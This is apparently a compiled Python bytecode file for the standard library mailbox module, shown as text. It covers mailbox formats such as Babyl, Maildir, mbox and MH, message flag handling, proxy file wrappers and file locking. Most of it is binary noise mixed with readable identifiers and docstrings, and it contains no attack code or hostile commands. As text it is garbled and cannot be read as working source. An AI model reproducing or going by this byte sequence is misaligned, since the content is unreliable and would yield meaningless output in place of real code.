k(s|snŒH|jjd tz«t|t«r�tj«} tjj!| dd«} | j#|j+«« | j'«}|jj|j)d t««|d k(s|sn[ŒH|j%d« |j'«}|jj|j)d t««|d k(s|snŒH |j-d «} | s�n’|jj| j)d t««ŒEt|t.t0tj2f«�r–t|tj2«r+t5j6d t8d«|j;«}t|t0«r|j=|«}|j?d«dz} | dz dk7rº|jj|d| j)d t««|jjd tz«|jj|d| j)d t««|jj|| dj)d t««�n|jjd tztz«|jj|j)d t««�n¦tA|d«�r‚tA|d«r't5j6dt8d«|jB}|j«} d } |j'«}|jEd«r |ddd z}n|jEd«r|ddd z}|jj|j)d t««|d k(s|s9|r6d}|jjd tz«|j%| «nnŒ³ |j'«}|snŒ|jEd«r |ddtz}n;|jEd«r |ddtz}n|jEd «r |ddtz}|jj|«ŒˆtGdtI|«z«‚|jj«}||fS)z0Write message contents and return (start, stop).ó1s, s,,ó r%s1,,FrTr�rrlrŽr�s rHr–Nr­r‘r’r“r”r•r™)%rYroršrrr!rr£rˆr¢rLr+r r›rœr�ržrŸr r­r¡Ú get_visibler�r§r¦r¨r©rªr«r¬r‹r£rvr‘r¥r¯r°)rr+r~Úspecial_labelsr"r)Ú orig_bufferÚorig_generatorr¶Ú vis_bufferÚ vis_generatorr‘Ú body_startÚ original_posÚ first_passrs r"rŽzBabyl._install_messagejsŸ€à— ‘ —‘Ó!ˆÜ �gœ|Õ ,؈N؈FØ ×+Ñ+Ö-�ؘD×0Ñ0Ñ0Ø"×)Ñ)¨%Õ0à—M‘M %Õ(ð .ð �J‰J× Ñ ˜TÔ "Û'�Ø— ‘ × Ñ  ¨¯©«Ñ!7Õ8ð(à �J‰J× Ñ ˜UÔ #Û�Ø— ‘ × Ñ  ¨¯ © «Ñ!6¸Ñ!=Õ>ð à �J‰J× Ñ œWÕ %à �J‰J× Ñ ˜V¤gÑ-Ô .Ü �gœuŸ}™}×4Ñ4Õ 5ÜŸ*™*›,ˆKÜ"Ÿ_™_×;Ñ;¸KÈÐPQÓRˆNØ × "Ñ " 7Ô +Ø × Ñ ˜QÔ ØØ"×+Ñ+Ó-�Ø— ‘ × Ñ  §¡¨e´WÓ!=Ô>ؘ5’=©Øð ð �J‰J× Ñ ˜_¬wÑ6Ô 7ܘ'¤<Ô0ÜŸZ™Z›\� Ü %§¡× >Ñ >¸zÈ5ÐRSÓ T� Ø×%Ñ% g×&9Ñ&9Ó&;Ô<ØØ%×.Ñ.Ó0�DØ—J‘J×$Ñ$ T§\¡\°%¼Ó%AÔBؘu’}©DØð ð × Ñ  Ô#ØØ&×/Ñ/Ó1�DØ—J‘J×$Ñ$ T§\¡\°%¼Ó%AÔBؘu’}©DØð ð Ø$×)Ñ)¨$Ó/�ÙÙØ— ‘ × Ñ  §¡°´wÓ!?Ô@ð ô ˜¤%¬¬b¯k©kÐ!:Õ ;ܘ'¤2§;¡;Ô/Ü— ‘ ð*Ü+=¸qôBà!×*Ñ*Ó,�ܘ'¤3Ô'Ø×/Ñ/°Ó8�Ø Ÿ™ gÓ.°Ñ2ˆJؘA‰~ Ò#Ø— ‘ × Ñ  ¨¨*Ð!5×!=Ñ!=¸eÄWÓ!MÔNØ— ‘ × Ñ  ´7Ñ!:Ô;Ø— ‘ × Ñ  ¨¨*Ð!5×!=Ñ!=¸eÄWÓ!MÔNØ— ‘ × Ñ  ¨¨Ð!5×!=Ñ!=¸eÄWÓ!MÖNà— ‘ × Ñ  ´7Ñ!:¼WÑ!DÔEØ— ‘ × Ñ  §¡°¼Ó!@ÖAÜ �W˜jÕ )Ü�w Ô)Ü— ‘ ð5Ü6HÈ!ôMà!Ÿ.™.�Ø"Ÿ<™<›>ˆL؈JØØ×'Ñ'Ó)�à—=‘= Ô)Ø  ˜9 uÑ,‘DØ—]‘] 5Ô)Ø  ˜9 uÑ,�DØ— ‘ × Ñ  §¡¨e´WÓ!=Ô>ؘ5’=©Ù!Ø%*˜ ØŸ ™ ×(Ñ(¨¼7Ñ)BÔCØŸ ™  \Õ2àððØ×'Ñ'Ó)�ÙØà—=‘= Ô)Ø  ˜9¤wÑ.‘DØ—]‘] 5Ô)Ø  ˜9¤wÑ.‘DØ—]‘] 5Ô)Ø  ˜9¤wÑ.�DØ— ‘ × Ñ  Ô&ðôÐ6¼¸g»ÑFÓGÐ GØ�z‰z�‰Ó ˆØ�tˆ}Ðr$r¸)rºr»r¼r½Ú frozensetr!r#r,r2r=rCrNrFrrŒrqrsrurŽrÀr$r"rrÝsY„Ù'áò!BóC€Oóò ò"ò 5ò ò8ò,Gòò.ò<ò#ò#óir$rcó$—eZdZdZdd„Zd„Zd„Zy)r z0Message with mailbox-format-specific properties.Ncó—t|tjj«rG|j t j |««t|t«r|j|«yyt|t«r%|j tj|««yt|t«r%|j tj|««yt|tj«r%|j tj|««yt|d«r%|j tj |««y|€*tjjj#|«yt%dt'|«z«‚)zInitialize a Message instance.r�Nr™)ršrLr+r Ú_become_messageÚcopyÚdeepcopyÚ _explain_tor§rMr¦Úmessage_from_stringr›Ú TextIOWrapperÚmessage_from_filervÚmessage_from_binary_filer#r¯r°r*s r"r#zMessage.__init__Ùs€ä �gœuŸ}™}×4Ñ4Ô 5Ø × Ñ ¤§¡¨wÓ!7Ô 8ܘ'¤7Ô+Ø×#Ñ# DÕ)ð,ä ˜¤Ô 'Ø × Ñ ¤×!9Ñ!9¸'Ó!BÕ CÜ ˜¤Ô %Ø × Ñ ¤×!:Ñ!:¸7Ó!CÕ DÜ ˜¤×!1Ñ!1Ô 2Ø × Ñ ¤×!8Ñ!8¸Ó!AÕ BÜ �W˜fÔ %Ø × Ñ ¤×!?Ñ!?ÀÓ!HÕ IØ ˆ_Ü �M‰M× !Ñ !× *Ñ *¨4Õ 0äÐ6¼¸g»ÑFÓGÐ Gr$có‚—t|dg«}|jD]#}||vsŒ|j||j|<Œ%y)z0Assume the non-format-specific state of message.Ú_type_specific_attributesN)ÚgetattrÚ__dict__)rr+Ú type_specificrÕs r"r?zMessage._become_messageìsB€ä Ð)DÀbÓIˆ Ø×$Ô$ˆDؘ=Ò(Ø&-×&6Ñ&6°tÑ&<�— ‘ ˜dÒ#ñ%r$có:—t|t«rytd«‚)z:Copy format-specific state to message insofar as possible.Nz Cannot convert to specified type)ršr r¯r*s r"rBzMessage._explain_toós€ä �gœwÔ 'Ø äÐ>Ó?Ð ?r$r4)rºr»r¼r½r#r?rBrÀr$r"r r Ös„Ù:óHò&=ó@r$r cób—eZdZdZgd¢Zdd„Zd„Zd„Zd„Zd„Z d „Z d „Z d „Z d „Z d „Zd„Zd„Zy)r z)Message with Maildir-specific properties.)Ú_subdirÚ_infoÚ_dateNcó~—d|_d|_tj«|_tj ||«y)z%Initialize a MaildirMessage instance.rÅrÒN)rNrOr7rPr r#r*s r"r#zMaildirMessage.__init__s-€àˆŒ ؈Œ Ü—Y‘Y“[ˆŒ Ü×ј˜wÕ'r$có—|jS)zReturn 'new' or 'cur'.)rNrVs r"r×zMaildirMessage.get_subdirs €à�|‰|Ðr$cóB—|dk(s|dk(r||_ytd|z«‚)zSet subdir to 'new' or 'cur'.rÅrÆz!subdir must be 'new' or 'cur': %sN)rNrŠ)rrçs r"rûzMaildirMessage.set_subdir s'€à �UŠ?˜f¨šoØ!ˆD�LäÐ@À6ÑIÓJÐ Jr$cóX—|jjd«r|jddSy)ú*Return as a string the flags that are set.ú2,rHNrÒ)rOr®rVs r"Ú get_flagszMaildirMessage.get_flagss'€à �:‰:× Ñ  Ô &Ø—:‘:˜a˜b�>Ð !àr$cóH—ddjt|««z|_y)ú)Set the given flags and unset all others.rVrÒN)rÈrrrO)rÚflagss r"Ú set_flagszMaildirMessage.set_flagss€à˜BŸG™G¤F¨5£MÓ2Ñ2ˆ� r$cóŠ—|jdjt|j««t|«z««y©z.Set the given flag(s) without changing others.rÒN©r[rÈrîrW©rÚflags r"Úadd_flagzMaildirMessage.add_flagó,€à �‰�r—w‘wœs 4§>¡>Ó#3Ó4´s¸4³yÑ@ÓAÕBr$có¬—|j«rD|jdjt|j««t|«z ««yy)ú7Unset the given string flag(s) without changing others.rÒN)rWr[rÈrîr_s r"Ú remove_flagzMaildirMessage.remove_flag!s;€à �>‰>Ô Ø �N‰N˜2Ÿ7™7¤3 t§~¡~Ó'7Ó#8¼3¸t»9Ñ#DÓEÕ Fð r$có—|jS)zSet "From " line, formatting and appending time_ if specified.NTrö)r7r¨r§r{)rržÚtime_s r"r˜z_mboxMMDFMessage.set_fromzs9€à Рؘ‰}ÜŸ ™ › �Ø �Sœ4Ÿ<™<¨Ó.Ñ.Ñ .ˆE؈� r$cóL—|jdd«|jdd«zS)rUÚStatusrÒúX-Status)rArVs r"rWz_mboxMMDFMessage.get_flags‚s#€à�x‰x˜ "Ó%¨¯©°¸RÓ(@Ñ@Ð@r$có¶—t|«}d\}}dD]}||vsŒ||z }|j|«ŒdD]}||vsŒ||z }|j|«Œ|djt|««z } |j d|« |j d|«y#t $r|j d|«YŒ1wxYw#t $r|j d|«YywxYw)rY)rÒrÒ)rorp)rrrsrtrÒr�r‚N)rîr2rÈrrÚreplace_headerr8Ú add_header)rrZÚ status_flagsÚ xstatus_flagsr`s r"r[z_mboxMMDFMessage.set_flags†så€ä�E“ ˆØ&,Ñ#ˆ �mÛˆDØ�uŠ}Ø Ñ$� Ø— ‘ ˜TÕ"ðó$ˆDØ�uŠ}Ø Ñ%� Ø— ‘ ˜TÕ"ð$𠘟™¤¨£Ó/Ñ/ˆ ð 4Ø × Ñ  ¨,Ô 7ð 7Ø × Ñ   ¨MÕ :øôò 4Ø �O‰O˜H lÖ 3ð 4ûôò 7Ø �O‰O˜J¨ Ö 6ð 7ús$Á3BÂB:ÂB7Â6B7Â:CÃCcóŠ—|jdjt|j««t|«z««yr]r^r_s r"raz_mboxMMDFMessage.add_flagœrbr$cóœ—d|vsd|vrD|jdjt|j««t|«z ««yy)rdr�r‚rÒNr^r_s r"rez_mboxMMDFMessage.remove_flag s@€à �tÑ ˜z¨TÑ1Ø �N‰N˜2Ÿ7™7¤3 t§~¡~Ó'7Ó#8¼3¸t»9Ñ#DÓEÕ Fð 2r$cóÚ—t|t«ròt|j««}d|vr|j d«d|vr|j d«d|vr|j d«d|vr|j d«d|vr|j d«|d =|d =d j |j«j«d d «} |jtjtj|d«««y t|t «r?|j#|j««|j%|j««y t|t&«r_t|j««}d|vr|j)d«d|vr|j)d«d|vr|j)d«|d =|d =y t|t*«r_t|j««}d|vr|j-d«d|vr|j-d«d|vr|j-d«|d =|d =y t|t.«ry t1dt3|«z«‚#ttf$rYy wxYw)zACopy mbox- or MMDF-specific state to message insofar as possible.rprÆrsrtrornrrrqÚstatuszx-statusröéûÿÿÿNz%a %b %d %H:%M:%S %Yr rvrwr r rx)ršr rîrWrûrarÈr¥rÛrýÚcalendarÚtimegmr7ÚstrptimerŠÚ OverflowErrorr¤r[r˜r rÏrryr r¯r°)rr+rZÚ maybe_dates r"rBz_mboxMMDFMessage._explain_to¥s9€ä �gœ~Ô .ܘŸ™Ó(Ó)ˆEØ�e‰|Ø×"Ñ" 5Ô)Ø�e‰|Ø× Ñ  Ô%Ø�e‰|Ø× Ñ  Ô%Ø�e‰|Ø× Ñ  Ô%Ø�e‰|Ø× Ñ  Ô%ؘÐ!ؘ Ð#ØŸ™ $§-¡-£/×"7Ñ"7Ó"9¸"¸#Ð">Ó?ˆJð Ø× Ñ ¤§¡´·±¸zØ6Ló2Nó"OõPô˜Ô!1Ô 2Ø × Ñ ˜dŸn™nÓ.Ô /Ø × Ñ ˜TŸ]™]›_Õ -Ü ˜¤Ô +ܘŸ™Ó(Ó)ˆEؘ%ÑØ×$Ñ$ XÔ.Ø�e‰|Ø×$Ñ$ YÔ/Ø�e‰|Ø×$Ñ$ YÔ/ؘÐ!ؘ Ñ#Ü ˜¤Ô .ܘŸ™Ó(Ó)ˆEؘ%ÑØ×!Ñ! (Ô+Ø�e‰|Ø×!Ñ! )Ô,Ø�e‰|Ø×!Ñ! *Ô-ؘÐ!ؘ Ñ#Ü ˜¤Ô )Ø äÐBÜ  ›Mñ*ó+ð +øô9¤ Ð.ò Ùð úsà 8IÉI*É)I*r4) rºr»r¼r½rHr#r¥r˜rWr[rarerBrÀr$r"r¤r¤hs8„Ù9à!(  Ðó(òóòAò7ò,CòGó 1+r$r¤có—eZdZdZy)r z&Message with mbox-specific properties.N©rºr»r¼r½rÀr$r"r r Ùó„Ú0r$r có<—eZdZdZdgZd d„Zd„Zd„Zd„Zd„Z d „Z y) r z$Message with MH-specific properties.Ú _sequencesNcó>—g|_tj||«y)z!Initialize an MHMessage instance.N)r–r r#r*s r"r#zMHMessage.__init__âs€àˆŒÜ×ј˜wÕ'r$có —|jddS)z4Return a list of sequences that include the message.N)r–rVs r"rÎzMHMessage.get_sequencesçs€à�‰™qÐ!Ð!r$có$—t|«|_y)z3Set the list of sequences that include the message.N)rYr–)rrøs r"rûzMHMessage.set_sequencesës €ä˜y›/ˆ�r$có¦—t|t«r+||jvr|jj|«yyt dt |«z«‚)z8Add sequence to list of sequences including the message.zsequence type must be str: %sN)ršr¦r–rr¯r°©rrs r"rÏzMHMessage.add_sequenceïsF€ä �h¤Ô $ؘtŸ™Ñ.Ø—‘×&Ñ& xÕ0ð/ôÐ;¼dÀ8»nÑLÓMÐ Mr$cóZ— |jj|«y#t$rYywxYw)zARemove sequence from the list of sequences including the message.N)r–r2rŠr›s r"Úremove_sequencezMHMessage.remove_sequence÷s+€ð Ø �O‰O× "Ñ " 8Õ ,øÜò Ù ð úó ‚ž *©*có|—t|t«r}t|j««}d|vr|j d«n"|j d«|j d«d|vr|j d«d|vr|j d«y y t|t «rlt|j««}d|vr|j d«n|j d «d|vr|j d«d|vr|j d «y y t|t«r'|j«D]}|j|«Œy t|t«rEt|j««}d|vr|jd«d|vr|jd «y y t|t«ry td t|«z«‚)z6Copy MH-specific state to message insofar as possible.r rÆrnrwrsrvroÚROrprtr rxN)ršr rîrÎrûrar¤r rÏrryr r¯r°)rr+rørs r"rBzMHMessage._explain_toþs—€ä �gœ~Ô .ܘD×.Ñ.Ó0Ó1ˆIؘ9Ñ$Ø×"Ñ" 5Õ)à×"Ñ" 5Ô)Ø× Ñ  Ô%ؘIÑ%Ø× Ñ  Ô%ؘIÑ%Ø× Ñ  Õ%ð&ä ˜Ô!1Ô 2ܘD×.Ñ.Ó0Ó1ˆIؘyÑ(Ø× Ñ  Õ&à× Ñ  Ô%ؘIÑ%Ø× Ñ  Ô%ؘIÑ%Ø× Ñ  Õ%ð&ä ˜¤Ô +Ø ×.Ñ.Ö0�Ø×$Ñ$ XÕ.ñ1ä ˜¤Ô .ܘD×.Ñ.Ó0Ó1ˆIؘ9Ñ$Ø×!Ñ! (Ô+ؘIÑ%Ø×!Ñ! *Õ-ð&ä ˜¤Ô )Ø äÐBÜ  ›Mñ*ó+ð +r$r4) rºr»r¼r½rHr#rÎrûrÏr�rBrÀr$r"r r Ýs,„Ù.à!- Ðó(ò "ò*òNòó$+r$r cóP—eZdZdZddgZdd„Zd„Zd„Zd„Zd „Z d „Z d „Z d „Z d „Z y)rz'Message with Babyl-specific properties.rÚ_visibleNcó\—g|_t«|_tj||«y)z#Initialize a BabylMessage instance.N)rr r¢r#r*s r"r#zBabylMessage.__init__*s"€àˆŒ Ü› ˆŒ Ü×ј˜wÕ'r$có —|jddS)z'Return a list of labels on the message.N)rrVs r"rzBabylMessage.get_labels0s€à�|‰|™AˆÐr$có$—t|«|_y)z&Set the list of labels on the message.N)rYr)rr"s r"rzBabylMessage.set_labels4s €ä˜F“|ˆ� r$có¦—t|t«r+||jvr|jj|«yyt dt |«z«‚)z+Add label to list of labels on the message.zlabel must be a string: %sN)ršr¦rrr¯r°©rr)s r"ryzBabylMessage.add_label8sF€ä �eœSÔ !ؘDŸL™LÑ(Ø— ‘ ×#Ñ# EÕ*ð)ôÐ8¼4À»;ÑFÓGÐ Gr$cóZ— |jj|«y#t$rYywxYw)z4Remove label from the list of labels on the message.N)rr2rŠr§s r"Ú remove_labelzBabylMessage.remove_label@s+€ð Ø �L‰L× Ñ  Õ &øÜò Ù ð úržcó,—t|j«S)z3Return a Message representation of visible headers.©r r¢rVs r"r3zBabylMessage.get_visibleGs€ä�t—}‘}Ó%Ð%r$có$—t|«|_y)z2Set the Message representation of visible headers.Nr«)rÚvisibles r"rzBabylMessage.set_visibleKs€ä Ó(ˆ� r$cóþ—|jj«D]3}||vr |jj|||«Œ'|j|=Œ5dD](}||vsŒ||jvsŒ|||j|<Œ*y)z9Update and/or sensibly generate a set of visible headers.)ÚDateÚFromzReply-ToÚToÚCCÚSubjectN)r¢rZr„)rÚheaders r"Úupdate_visiblezBabylMessage.update_visibleOsv€à—m‘m×(Ñ(Ö*ˆFؘ‰~Ø— ‘ ×,Ñ,¨V°T¸&±\ÕBà—M‘M &Ñ)ð +ó JˆFؘŠ~ &°· ± Ò"=Ø(,¨V© �— ‘ ˜fÒ%ñJr$cóì—t|t«r–t|j««}d|vr|j d«n"|j d«|j d«d|vsd|vr|j d«d|vr|j d«d |vr|j d «yyt|t «rlt|j««}d|vr|j d «n|j d «d |vr|j d «d|vr|j d«yyt|t«rEt|j««}d|vr|jd«d|vr|jd«yyt|t«rF|j|j««|j«D]}|j|«Œyt|t«rytdt|«z«‚)z9Copy Babyl-specific state to message insofar as possible.r rÆrnr r r<r ror rqr rprrrtrvrxN)ršr rîrrûrar¤r rÏrrr3ryr r¯r°)rr+r"r)s r"rBzBabylMessage._explain_toZsÀä �gœ~Ô .ܘŸ™Ó*Ó+ˆFؘ6Ñ!Ø×"Ñ" 5Õ)à×"Ñ" 5Ô)Ø× Ñ  Ô%ؘfÑ$¨°FÑ(:Ø× Ñ  Ô%ؘVÑ#Ø× Ñ  Ô%ؘFÑ"Ø× Ñ  Õ%ð#ä ˜Ô!1Ô 2ܘŸ™Ó*Ó+ˆFؘvÑ%Ø× Ñ  Õ&à× Ñ  Ô%ؘFÑ"Ø× Ñ  Ô%ؘVÑ#Ø× Ñ  Õ%ð$ä ˜¤Ô +ܘŸ™Ó*Ó+ˆFؘ6Ñ!Ø×$Ñ$ XÔ.ؘVÑ#Ø×$Ñ$ YÕ/ð$ä ˜¤Ô .Ø × Ñ  × 0Ñ 0Ó 2Ô 3ØŸ™Ö*�Ø×!Ñ! %Õ(ñ+ä ˜¤Ô )Ø äÐBÜ  ›Mñ*ó+ð +r$r4)rºr»r¼r½rHr#rrryr©r3rrµrBrÀr$r"rr%s>„Ù1à!*¨JÐ 7Ðó(ò ò$òHòò&ò)ò 5ó'+r$rcó—eZdZdZy)rz&Message with MMDF-specific properties.Nr“rÀr$r"rr„r”r$rcóœ—eZdZdZdd„Zdd„Zdd„Zdd„Zdd„Zd„Z d „Z dd „Z d „Z d „Z d „Zd„Zd„Zd„Zd„Zd„Zed„«Zee«Zy)rzA read-only wrapper of a file.NcóP—||_|€|j«|_y||_y)zInitialize a _ProxyFile.N)rYroÚ_pos)rrÚposs r"r#z_ProxyFile.__init__‹s"€àˆŒ Ø ˆ;ØŸ™›ˆD�IàˆD�Ir$cóN—|j||jj«S©z Read bytes.)Ú_readrYr�©rÚsizes r"r�z_ProxyFile.read“s€à�z‰z˜$ § ¡ §¡Ó0Ð0r$cóN—|j||jj«Sr½)r¾rYÚread1r¿s r"rÂz_ProxyFile.read1—s€à�z‰z˜$ § ¡ × 0Ñ 0Ó1Ð1r$cóN—|j||jj«S)z Read a line.)r¾rYr­r¿s r"r­z_ProxyFile.readline›s€à�z‰z˜$ § ¡ × 3Ñ 3Ó4Ð4r$cól—g}|D],}|j|«|€Œ|t|«z}|dksŒ+|S|S)zRead multiple lines.r)rr)rÚsizehintrqr¶s r"Ú readlinesz_ProxyFile.readlinesŸsG€àˆÛˆDØ �M‰M˜$Ô ØÑ#ØœC ›IÑ%�ؘq“=ØØˆ ð ð ˆ r$c#ó`K—|j«x}r|–—|j«x}rŒyy­w)zIterate over lines.N)r­)rr¶s r"raz_ProxyFile.__iter__ªs/èø€à—m‘m“oÐ%ˆdÐ%ØŠJð—m‘m“oÐ%ˆdÓ%ùs‚).¬.có—|jS)zReturn the position.)rºrVs r"roz_ProxyFile.tell¯s €à�y‰yÐr$cóΗ|dk(r%|jj|j«|jj||«|jj«|_y)zChange position.rN©rYr rºro©rÚoffsetÚwhences r"r z_ProxyFile.seek³sA€à �QŠ;Ø �J‰J�O‰O˜DŸI™IÔ &Ø � ‰ �‰˜ Ô'Ø—J‘J—O‘OÓ%ˆ� r$có’—t|d«r4 t|jd«r|jj«|`yy#|`wxYw)zClose the file.rYr†N)rvrYr†rVs r"r†z_ProxyFile.closeºsB€ä �4˜Ô !ð ܘ4Ÿ:™: wÔ/Ø—J‘J×$Ñ$Ô&à‘Jð "øð ‘Jús Ž0AÁAcó¦—|€d}|jj|j«||«}|jj«|_|S)z"Read size bytes using read_method.r–rÊ)rrÀÚ read_methodrqs r"r¾z_ProxyFile._readÃsA€à ˆ<؈DØ � ‰ �‰˜Ÿ ™ Ô"Ù˜TÓ"ˆØ—J‘J—O‘OÓ%ˆŒ ؈ r$có—|S)z$Context management protocol support.rÀrVs r"Ú __enter__z_ProxyFile.__enter__Ìs€àˆ r$có$—|j«yr4)r†)rÚexcs r"Ú__exit__z_ProxyFile.__exit__Ðs €Ø � ‰ � r$có6—|jj«Sr4)rYÚreadablerVs r"r×z_ProxyFile.readableÓó€Ø�z‰z×"Ñ"Ó$Ð$r$có6—|jj«Sr4)rYÚwritablerVs r"rÚz_ProxyFile.writableÖrØr$có6—|jj«Sr4)rYÚseekablerVs r"rÜz_ProxyFile.seekableÙrØr$có6—|jj«Sr4)rYr}rVs r"r}z_ProxyFile.flushÜs€Ø�z‰z×ÑÓ!Ð!r$cóv—t|d«syt|jd«sy|jjS)NrYTrÉF)rvrYrÉrVs r"rÉz_ProxyFile.closedßs0€ä�t˜WÔ%ØÜ�t—z‘z 8Ô,ØØ�z‰z× Ñ Ð r$r4©r)rºr»r¼r½r#r�rÂr­rÆraror r†r¾rÒrÕr×rÚrÜr}ÚpropertyrÉr¾rr¿rÀr$r"rrˆsv„Ù(óó1ó2ó5ó òò ó&òòòòò%ò%ò%ò"ðñ!óð!ñ$ LÓ1Ñr$rcó2—eZdZdZdd„Zd„Zd d„Zd„Zd„Zy) r¡z&A read-only wrapper of part of a file.NcóN—tj|||«||_||_y)zInitialize a _PartialFile.N)rr#Ú_startÚ_stop)rrr~rs r"r#z_PartialFile.__init__ís"€ä×јD ! UÔ+؈Œ ؈� r$cóF—tj|«|jz S)z*Return the position with respect to start.)rrorãrVs r"roz_PartialFile.tellós€ä�‰˜tÓ$ t§{¡{Ñ2Ð2r$có”—|dk(r|j|_d}n|dk(r|j|_d}tj |||«y)z8Change position, possibly with respect to start or stop.rrrHN)rãrºrärr rËs r"r z_PartialFile.seek÷s@€à �QŠ;ØŸ ™ ˆDŒI؉FØ �qŠ[ØŸ ™ ˆDŒI؈FÜ�‰˜˜f fÕ-r$cóŠ—|j|jz }|dkry|� |dks||kDr|}tj|||«S)z;Read size bytes using read_method, honoring start and stop.rr$)rärºrr¾)rrÀrÐÚ remainings r"r¾z_PartialFile._readsJ€à—J‘J §¡Ñ*ˆ Ø ˜Š>ØØ ˆ<˜4 !š8 t¨iÒ'7؈DÜ×Ñ  d¨KÓ8Ð8r$có"—t|d«r|`yy)NrY)rvrYrVs r"r†z_PartialFile.close s€ô �4˜Ô !Ø‘ ð "r$)NNrß) rºr»r¼r½r#ror r¾r†rÀr$r"r¡r¡ês„Ù0óò 3ó.ò9ór$r¡có„—d} tr6 tj|tjtjz«|r{ t|jdz«}|j« tj|j|jdz«d}tj|j«yyy#t$rY}|j t j t jt jfvrtd|jz«‚‚d}~wwxYw#t$r7}|j t jt jfvrYd}~y‚d}~wwxYw#t t"f$r2tj$|j|jdz«d}YŒêwxYw#t&$r8tj(|j«td|jz«‚wxYw#tr$tj|tj*«|r"tj(|jdz«‚xYw)z(Lock file f using lockf and dot locking.Fzlockf: lock unavailable: %sNú.lockTzdot lock unavailable: %s)ÚfcntlÚlockfÚLOCK_EXÚLOCK_NBrãräÚEAGAINrWrXrrÕrpr†rrßrýràrárârEr2ÚLOCK_UN)rrmÚ dotlock_donerëÚpre_locks r"rgrgsÅ€à€Lð%Ý ð Ü— ‘ ˜AœuŸ}™}¬u¯}©}Ñ<Ô=ñ ð Ü,¨Q¯V©V°gÑ-=Ó>�Ø—‘Ô ð 1ð-Ü—G‘G˜HŸM™M¨1¯6©6°GÑ+;Ô<Ø#'�Lô —I‘I˜hŸm™mÕ,ð!ð øô ò Ø—7‘7œuŸ|™|¬U¯\©\¼5¿;¹;ÐGÑGÜ,Ð-JØ-.¯V©Vñ.4ó5ð5ðûð  ûôò Ø—7‘7œuŸ|™|¬U¯[©[Ð9Ñ9Üàûð  ûô'¬Ð8ò(Ü—I‘I˜hŸm™m¨Q¯V©V°gÑ-=Ô>Ø#'’Lð(ûô #ò 1Ü— ‘ ˜(Ÿ-™-Ô(Ü(Ð)CØ)*¯©ñ*0ó1ð1ð 1ûðÝ Ü �K‰K˜œ5Ÿ=™=Ô )Ù Ü �I‰I�a—f‘f˜wÑ&Ô 'Ø ús‹„G.‹5B>ÁG.Á(D#Á-/E&ÂF*Â> D ÃADÄD Ä G.Ä# E#Ä,,EÅG.ÅEÅE#Å#G.Å&>F'Æ$F*Æ&F'Æ'F*Æ*AG+Ç+G.Ç.AH?cóö—tr$tj|tj«tjj |j dz«r#tj|j dz«yy)z*Unlock file f using lockf and dot locking.rëN)rìrírñrrrÊrÕr2©rs r"rjrj;sJ€å Ü � ‰ �A”u—}‘}Ô%Ü ‡w�w‡~�~�a—f‘f˜wÑ&Ô'Ü � ‰ �!—&‘&˜7Ñ"Õ#ð(r$có—tj|tjtjztjzd«} t|d«tj |«S#tj |«wxYw)zCCreate a file if it doesn't exist and open for reading and writing.r(rU)rrúr)rÄÚO_RDWRr†)rÚfds r"rDrDBsP€ä �‰�”r—z‘z¤B§I¡IÑ-´· ± Ñ9¸5Ó A€BðÜ�D˜%Ó ä �‰�� øŒ�‰�� ús Á A*Á*Bc ó¬—t|›dttj««›dtj«›dt j «›�«S)zBCreate a temp file based on path and open for reading and writing.r)rDr@r7r>r?rrA)rs r"rprpJs8€ä ªd´C¼¿ ¹ » Õ4DÜ.4×.@Ñ.@Õ.BÜ.0¯i©i¬kð;ó <ðThe specified mailbox is not empty and deletion was requested.Nr“rÀr$r"rrbs„ÚHr$rcó—eZdZdZy)rz)Another process caused an action to fail.Nr“rÀr$r"rreó„Ú3r$rcó—eZdZdZy)rz)A file appears to have an invalid format.Nr“rÀr$r"rrhrr$r)T)2r½rr7r�r>rär@r©rLÚ email.messageÚemail.generatorr›rDÚtypesrrìÚ ImportErrorÚ__all__r¢rˆrrrSr“rr rrr+r r r¤r r rrrr¡rgrjrDrprnrÖÚ ExceptionrrrrrrÀr$r"Úr sËðÙJó Û ÛÛ Û Û ÛÛ ÛÛÛ ÛÝðÛò A€ð �*‰*× Ñ ˜GÓ $€÷f2ñf2ôRsˆgôsôl C˜ôCôN@Ð"ô@ôF1.ˆ9ô1.ôh*.ˆ9ô*.ôZn*ˆôn*ôb vÐ ôvôr"@ˆe�m‰m×#Ñ#ô"@ôJj+�Wôj+ôZn+�wôn+ôb1Ð"ô1ôE+�ôE+ôP\+�7ô\+ô~1Ð"ô1÷_2ñ_2ôD$�:ô$óN(òT$òò<ò ò ô -ˆIô-ôE˜ôEôI�EôIô4˜ô4ô4�%õ4øðaBòØ ƒEðúsºE5Å5FÅ?F